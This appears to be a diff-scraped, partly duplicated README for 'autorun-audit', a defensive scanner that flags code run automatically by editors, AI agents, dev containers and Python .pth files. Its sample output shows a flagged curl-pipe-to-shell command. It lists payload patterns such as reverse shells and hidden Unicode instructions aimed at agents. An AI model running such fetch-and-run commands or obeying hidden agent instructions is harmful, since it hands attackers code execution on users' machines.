`autorun-audit` lists everything that executes automatically when you open a repository,
|
|
31
|
+
enter its directory, install it, start an AI agent in it, or simply start Python. It points
|
|
32
|
+
out the entries that look like payloads.
|
|
33
|
+
|
|
34
|
+
```console
|
|
35
|
+
$ uvx autorun-audit repo suspicious-repo

CRITICAL .vscode/tasks.json:5 [vscode.task.folder-open]
|
|
39
|
+
runs when: folder opened in VS Code / Cursor / Windsurf (trusted workspace)
|
|
40
|
+
Task 'install deps' is set to run automatically on folder open.
|
|
41
|
+
$ curl -fsSL https://example.invalid/setup.sh | sh
|

|
|
44
|
+
CRITICAL AGENTS.md:3 [agent.instructions.invisible-unicode]
|
|
45
|
+
runs when: an AI agent reads this instructions file
|
|
46
|
+
37 invisible character(s) (Unicode tag characters) an agent will read but a human reviewer won't see.
|
|
47
|

|
+
|
|
49
|
+
HIGH .devcontainer/devcontainer.json:1 [devcontainer.initializeCommand]
|
|
50
|
+
runs when: dev container opened: runs on your machine (the host) before the container is built
|
|
51
|
+
initializeCommand runs automatically when the dev container is used.
|
|
52
|
+
$ ./scripts/bootstrap.sh
|
|
53
|
+
|
|
54
|
+
HIGH .mcp.json:1 [mcp.stdio-server]
|
|
55
|
+
runs when: Claude Code starts a session with this server enabled
|
|
56
|
+
MCP server 'docs' starts a local process; fetches 'acme-docs-mcp' without a pinned version, so it runs whatever is latest.
|
|
57
|
+
$ npx -y acme-docs-mcp
|
|
58
|
+
|
|
59
|

```

|

|
+
|
|
62
|
+
## Why
|
|
63
|
+
|
|
64
|
+
Attackers have moved from malicious dependencies to the files that tools run for you:
|
|
65
|
+
|
|
66
|
+
- **Repository config.** Fake job-interview repos and compromised projects in 2025–26 used
|
|
67
|
+
`.vscode/tasks.json` tasks that run on folder open, agent hooks, MCP server definitions and
|
|
68
|
+
dev container commands. Opening the folder was enough.
|
|
69
|
+
- **Python startup files.** On 24 March 2026 the compromised LiteLLM 1.82.8 release on PyPI
|
|
70
|
+
shipped `litellm_init.pth`, a credential stealer that ran on *every* Python start, not only
|
|
71
|
+
when `litellm` was imported. Python executes `import` lines in `.pth` files at interpreter
|
|
72
|
+
startup, and because the file was part of the published wheel, hash checks couldn't flag it.
|
|
73
|
+
|
|
74
|
+
Today the advice for both is "read the config files by hand". `autorun-audit` does that
|
|
75
|
+
reading for you, in a terminal or in CI.
|
|
76
|
+
|
|
77
|
+
## Install
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
uvx autorun-audit --help # run without installing
|
|
81
|
+
uv tool install autorun-audit # or: pipx install autorun-audit
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Requires Python 3.11 or newer. It runs on Linux, macOS and Windows.
|
|
85
|
+
|
|
86
|
+
## Usage
|
|
87
|
+
|
|
88
|
+
### Before you open a repository
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
git clone https://github.com/someone/project && autorun-audit repo project
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
Run this before opening a cloned repository in your editor or starting an agent in it.
|
|
95
|
+
|
|
96
|
+
### Audit a Python environment
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
autorun-audit env # the active virtualenv, else python3
|
|
100
|
+
autorun-audit env --python /path/to/venv/bin/python
|
|
101
|
+
autorun-audit env --site-dir /some/site-packages # no interpreter needed (e.g. a container layer)
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
The target interpreter is only asked for its paths, with `-I -S`, so the startup code being
|
|
105
|
+
audited is never executed. Each `.pth` file is checked against the `RECORD` of the package
|
|
106
|
+
that installed it. The tool reports files that no package owns, files modified after
|
|
107
|
+
install, and import lines that look like payloads. Lines written by well-known tools
|
|
108
|
+
(setuptools, coverage.py, editable installs, virtualenv) are recognised only when the
|
|
109
|
+
expected package owns the file unmodified.
|
|
110
|
+
|
|
111
|
+
### Options
|
|
112
|
+
|
|
113
|
+
| Option | Default | Meaning |
|
|
114
|
+
|---|---|---|
|
|
115
|
+
| `--format text\|json\|sarif` | `text` | Output format. SARIF works with GitHub code scanning. |
|
|
116
|
+
| `--min-severity LEVEL` | `low` | Hide findings below `info`, `low`, `medium`, `high` or `critical`. |
|
|
117
|
+
| `--fail-on LEVEL` | `high` | Exit 1 if any finding is at or above this level. `none` never fails. |
|
|
118
|
+
| `--output FILE` | stdout | Write the report to a file. |
|
|
119
|
+
|
|
120
|
+
Exit codes: `0` when nothing reaches `--fail-on`, `1` when something does, `2` for usage errors.

|
|
140
|

### `autorun-audit env`
|
|
141
|
+
|
|
142
|
+
| Source | Rule |
|
|
143
|
+
|---|---|

|
|
149
|

### Severity
|
|
150
|
+
|
|
151
|
+
- **critical**: something runs automatically *and* looks like a payload (it pipes a download
|
|
152
|
+
into a shell, decodes base64, calls `exec`, uses a reverse-shell pattern, a long encoded
|
|
153
|
+
blob, hidden instructions, and so on).
|
|
154
|
+
- **high**: runs automatically with no prompt or with a single trust prompt (folder-open
|
|
155
|
+
tasks, agent hooks, unpinned MCP launches, dev container host commands, `.pth` code not
|
|
156
|
+
owned by any package).
|
|
157
|
+
- **medium**: runs automatically but is common and expected (install scripts, dev container
|
|
158
|
+
commands inside the container, package-owned `.pth` code).
|
|
159
|
+
- **low / info**: needs an extra opt-in such as `direnv allow` or installing hooks, or is
|
|
160
|
+
informational.
|
|
161
|
+
|
|
162
|
+

|

|
|
175

+
|
|
176
|
+

|
+

|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
## PEP 829 and `.start` files
|
|
184
|
+
|
|
185
|
+
Python 3.15 adds `<name>.start` files ([PEP 829](https://peps.python.org/pep-0829/)), which
|
|
186
|
+
replace `.pth` import lines with `pkg.mod:callable` entry points. When a matching `.start`
|
|
187
|
+
file exists, Python 3.15+ skips the import lines in the `.pth` file. Import lines will be
|
|
188
|
+
ignored entirely from about Python 3.18. `autorun-audit env` reports which `.pth` files still
|
|
189
|
+
need a `.start` file, and which `.start` entries are invalid and will be skipped.
|
|
190
|
+
|
|
191
|
+
## Limitations
|
|
192
|
+
|
|
193
|
+
- It reads files and never runs them. Heuristics catch common payload shapes, not every
|
|
194
|
+
possible one, so treat "no findings" as "nothing obvious", not as proof of safety.
|
|
195
|
+
- It lists what *can* run. Whether it actually runs can depend on editor trust settings and
|
|
196
|
+
on prompts you accept.
|
|
197
|
+
- It inspects the `.pth` line itself, not the modules that line imports.
|
|
198
|
+
- Coverage is a list of known mechanisms. If you know one that's missing, please
|
|

## Why
|
|
43
|
+
|
|
44
|
+
Attackers have moved from malicious dependencies to the files that tools run for you:
|
|
45
|
+
|
|
46
|
+
- **Repository config.** Fake job-interview repos and compromised projects in 2025–26 used
|
|
47
|
+
`.vscode/tasks.json` tasks that run on folder open, agent hooks, MCP server definitions and
|
|
48
|
+
dev container commands. Opening the folder was enough.
|
|
49
|
+
- **Python startup files.** On 24 March 2026 the compromised LiteLLM 1.82.8 release on PyPI
|
|
50
|
+
shipped `litellm_init.pth`, a credential stealer that ran on *every* Python start, not only
|
|
51
|
+
when `litellm` was imported. Python executes `import` lines in `.pth` files at interpreter
|
|
52
|
+
startup, and because the file was part of the published wheel, hash checks couldn't flag it.
|
|
53
|
+
|
|
54
|
+
Today the advice for both is "read the config files by hand". `autorun-audit` does that
|
|
55
|
+
reading for you, in a terminal or in CI.
|
|
56
|
+
|
|
57
|
+
## Install
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
uvx autorun-audit --help # run without installing
|
|
61
|
+
uv tool install autorun-audit # or: pipx install autorun-audit
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
Requires Python 3.11 or newer. It runs on Linux, macOS and Windows.
|
|
65
|
+
|
|
66
|
+
## Usage
|
|
67
|
+
|
|
68
|
+
### Before you open a repository
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
git clone https://github.com/someone/project && autorun-audit repo project
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
Run this before opening a cloned repository in your editor or starting an agent in it.
|
|
75
|
+
|
|
76
|
+
### Audit a Python environment
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
autorun-audit env # the active virtualenv, else python3
|
|
80
|
+
autorun-audit env --python /path/to/venv/bin/python
|
|
81
|
+
autorun-audit env --site-dir /some/site-packages # no interpreter needed (e.g. a container layer)
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
The target interpreter is only asked for its paths, with `-I -S`, so the startup code being
|
|
85
|
+
audited is never executed. Each `.pth` file is checked against the `RECORD` of the package
|
|
86
|
+
that installed it. The tool reports files that no package owns, files modified after
|
|
87
|
+
install, and import lines that look like payloads. Lines written by well-known tools
|
|
88
|
+
(setuptools, coverage.py, editable installs, virtualenv) are recognised only when the
|
|
89
|
+
expected package owns the file unmodified.
|
|
90
|
+
|
|
91
|
+
### Options
|
|
92
|
+
|
|
93
|
+
| Option | Default | Meaning |
|
|
94
|
+
|---|---|---|
|
|
95
|
+
| `--format text\|json\|sarif` | `text` | Output format. SARIF works with GitHub code scanning. |
|
|
96
|
+
| `--min-severity LEVEL` | `low` | Hide findings below `info`, `low`, `medium`, `high` or `critical`. |
|
|
97
|
+
| `--fail-on LEVEL` | `high` | Exit 1 if any finding is at or above this level. `none` never fails. |
|
|
98
|
+
| `--output FILE` | stdout | Write the report to a file. |
|
|
99
|
+
|
|
100
|
+
Exit codes: `0` when nothing reaches `--fail-on`, `1` when something does, `2` for usage errors.

### `autorun-audit env`
|
|
121
|
+
|
|
122
|
+
| Source | Rule |
|
|
123
|
+
|---|---|

129
|

### Severity
|
|
130
|
+
|
|
131
|
+
- **critical**: something runs automatically *and* looks like a payload (it pipes a download
|
|
132
|
+
into a shell, decodes base64, calls `exec`, uses a reverse-shell pattern, a long encoded
|
|
133
|
+
blob, hidden instructions, and so on).
|
|
134
|
+
- **high**: runs automatically with no prompt or with a single trust prompt (folder-open
|
|
135
|
+
tasks, agent hooks, unpinned MCP launches, dev container host commands, `.pth` code not
|
|
136
|
+
owned by any package).
|
|
137
|
+
- **medium**: runs automatically but is common and expected (install scripts, dev container
|
|
138
|
+
commands inside the container, package-owned `.pth` code).
|
|
139
|
+
- **low / info**: needs an extra opt-in such as `direnv allow` or installing hooks, or is
|
|
140
|
+
informational.
|
|
141
|
+
|
|
142
|
+
## In CI
|
|
143
|
+
|
|
144
|
+
GitHub Actions with code scanning:
|
|
145
|
+
|
|
146
|
+
```yaml
|
|
147
|
+
- run: uvx autorun-audit repo . --format sarif --output autorun.sarif --fail-on critical
|
|
148
|
+
- uses: github/codeql-action/upload-sarif@v4
|
|
149
|
+
if: always()
|
|
150
|
+
with:
|
|
151
|
+
sarif_file: autorun.sarif
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
[pre-commit](https://pre-commit.com):
|
|
155
|
+
|
|
156
|
+
```yaml
|
|
157
|
+
- repo: https://github.com/ag3ntsc4rn/autorun-audit
|
|
158
|
+
rev: v0.1.0
|
|
159
|
+
hooks:
|
|
160
|
+
- id: autorun-audit
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## PEP 829 and `.start` files
|
|
164
|
+
|
|
165
|
+
Python 3.15 adds `<name>.start` files ([PEP 829](https://peps.python.org/pep-0829/)), which
|
|
166
|
+
replace `.pth` import lines with `pkg.mod:callable` entry points. When a matching `.start`
|
|
167
|
+
file exists, Python 3.15+ skips the import lines in the `.pth` file. Import lines will be
|
|
168
|
+
ignored entirely from about Python 3.18. `autorun-audit env` reports which `.pth` files still
|
|
169
|
+
need a `.start` file, and which `.start` entries are invalid and will be skipped.
|
|
170
|
+
|
|
171
|
+
## Limitations
|
|
172
|
+
|
|
173
|
+
- It reads files and never runs them. Heuristics catch common payload shapes, not every
|
|
174
|
+
possible one, so treat "no findings" as "nothing obvious", not as proof of safety.
|
|
175
|
+
- It lists what *can* run. Whether it actually runs can depend on editor trust settings and
|
|
176
|
+
on prompts you accept.
|
|
177
|
+
- It inspects the `.pth` line itself, not the modules that line imports.
|
|
178
|
+
- Coverage is a list of known mechanisms. If you know one that's missing, please
|
|
179

+
